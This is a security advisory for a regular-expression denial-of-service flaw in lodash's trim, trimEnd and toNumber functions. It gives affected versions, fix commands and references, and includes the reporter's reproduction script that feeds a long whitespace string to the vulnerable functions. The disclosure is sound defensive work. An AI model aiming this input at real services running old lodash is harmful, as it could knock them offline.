MediumGHSA-29mw-wpgm-hmr9CVE-2020-28500
Regular Expression Denial of Service (ReDoS) in lodash
Published 6 Jan 2022 · Updated 29 Sept 2025
Affected packages
lodashnpm
- Affected
- >=4.0.0 <4.17.21
- Fixed in
- 4.17.21
Update to the fixed version for your release line, for example:
npm install lodash@4.17.21lodash-esnpm
- Affected
- >=4.0.0 <4.17.21
- Fixed in
- 4.17.21
Update to the fixed version for your release line, for example:
npm install lodash-es@4.17.21- Affected
- >=4.0.0 <=4.5.1
- Fixed in
- No fix released
lodash.trimnpm
- Affected
- >=4.0.0 <=4.5.1
- Fixed in
- No fix released
Details
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);Is GHSA-29mw-wpgm-hmr9 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected lodash, and gives you the command that fixes it.
References
- Advisorynvd.nist.gov/vuln/detail/CVE-2020-28500
- Linkgithub.com/github/advisory-database/pull/6139
- Linkgithub.com/lodash/lodash/pull/5065
- Linkgithub.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7
- Linkgithub.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a
- Linkwww.oracle.com/security-alerts/cpuoct2021.html
- Linkwww.oracle.com/security-alerts/cpujul2022.html
- Linkwww.oracle.com/security-alerts/cpujan2022.html
- Linkwww.oracle.com//security-alerts/cpujul2021.html
- Linksnyk.io/vuln/SNYK-JS-LODASH-1018905
- Linksnyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
- Linksnyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
- Linksnyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
- Linksnyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
- Linksnyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
- Linksecurity.netapp.com/advisory/ntap-20210312-0006
- Linkgithub.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml
- Linkgithub.com/lodash/lodash/blob/npm/trimEnd.js%23L8
- Packagegithub.com/lodash/lodash
- Linkcert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.